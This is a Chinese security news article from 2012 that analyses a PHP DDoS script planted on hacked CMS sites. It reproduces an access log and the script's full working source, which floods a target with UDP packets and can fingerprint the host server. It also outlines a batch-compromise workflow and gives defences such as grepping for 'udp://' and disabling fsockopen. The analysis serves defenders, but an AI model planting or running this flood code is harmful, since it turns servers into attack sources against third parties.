首页 > 安全资讯 >

恶意DDOS脚本日志分析报告

12-08-21

www.2cto.com:本站前面花费大量精力研究phpddos问题,也发布了一些研究成果。但是并未找到完美的解决方案,包括本文提供的也是常规方法,对网站程序,特别是dz,采集类有严重影响近期有大量的网站反馈,某IP持续...

www.2cto.com:本站前面花费大量精力研究phpddos问题,也发布了一些研究成果。但是并未找到完美的解决方案,包括本文提供的也是常规方法,对网站程序,特别是dz,采集类有严重影响

近期有大量的网站反馈,某IP持续请求网站上的某脚本文件(本例中是diy.php),产生大量的针对其他网站的访问请求,某安全团队在与用户取得联系后得到访问日志和脚本的源代码如下:
访问日志:
199.36.74.138 - - [29/Jul/2012:00:48:00 +0800] "GET /include/diy.php?host=76.10.221.209&port=6005&time=60 HTTP/1.1" 200 1371
PHP DDOS脚本:
<?php
    set_time_limit(999999);
    $host = $_GET['host'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $Sendlen = 65535;
    $packets = 0;
    ignore_user_abort(True);
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
            if (StrLen($_GET['rat'])<-------->0){
                    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                    exit;
                }
            echo "Parameters can not be empty!";
            exit;
    }
    for($i=0;$i&lt;$Sendlen;$i++){
            $out .= "A";
        }
    $max_time = time()+$exec_time;
    echo "最大攻击时间:" . $max_time . "
";
    echo "攻击目标IP:" . $host . "
";
    echo "攻击端口:" . $host . "
";
    while(1){
        $packets++;
        if(time() &gt; $max_time){
            break;
        }
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
    }
    echo "Send Host:$host:$port
 
";
    echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
 
";
    echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
 
    ?>
该脚本使用了GET方式获取host,port和time三个参数,并且定义了发送的数据包大小为65535,最终构造的数据包为65535个“A”,然后通过调用fsockopen函数:fsockopen(“udp://$host”,$port, $errno, $errstr, 5);,采用UDP协议发送恶意数据包到目标网站的目标端口,以网站服务器为源头发起DOS攻击,消耗大量网站流量,占用网络带宽,最终导致网站无法正常访问。
经测试以上脚本每分钟发送的数据包平均能达到40W以上,对网站正常服务的杀伤力很大。在对遭受恶意DDOS脚本攻击的网站应用统计后发现,大部分网站使用的是dedecms以及phpcms作为网站应用,这也许与之前的相关CMS漏洞有关。
此类攻击方式类似于前几年比较盛行的mass sql injection攻击:即通过一个已知web应用的安全漏洞(比如SQL注入),结合搜索引擎,就可以发现大批存在该漏洞的网站,从而实现全自动的攻击流程:
发现web应用漏洞
1、发现web应用漏洞
2、搜索引擎寻找漏洞网站群(使用该web应用的网站)
3、结合爬虫批量攻击所有网站
4、批量上传恶意文件
5、批量发起DOS攻击
6、黑客主控端监控并维护被入侵网站列表
黑客通过以上步骤能够轻松实现有目的、批量、智能化的大范围恶意攻击。
针对恶意DOS脚本攻击的解决方案:
1.检查网站所有文件是否出现恶意fsockopen函数调用,或者以“udp://”为关键字grep检查网站所有文件,查看是否被植入恶意DOS脚本。
2.修改php.ini,设置disable_function:fsockopen,禁用fsockopen函数。
3.安装开源网站应用的最新安全补丁。
相关文章
最新文章
热点推荐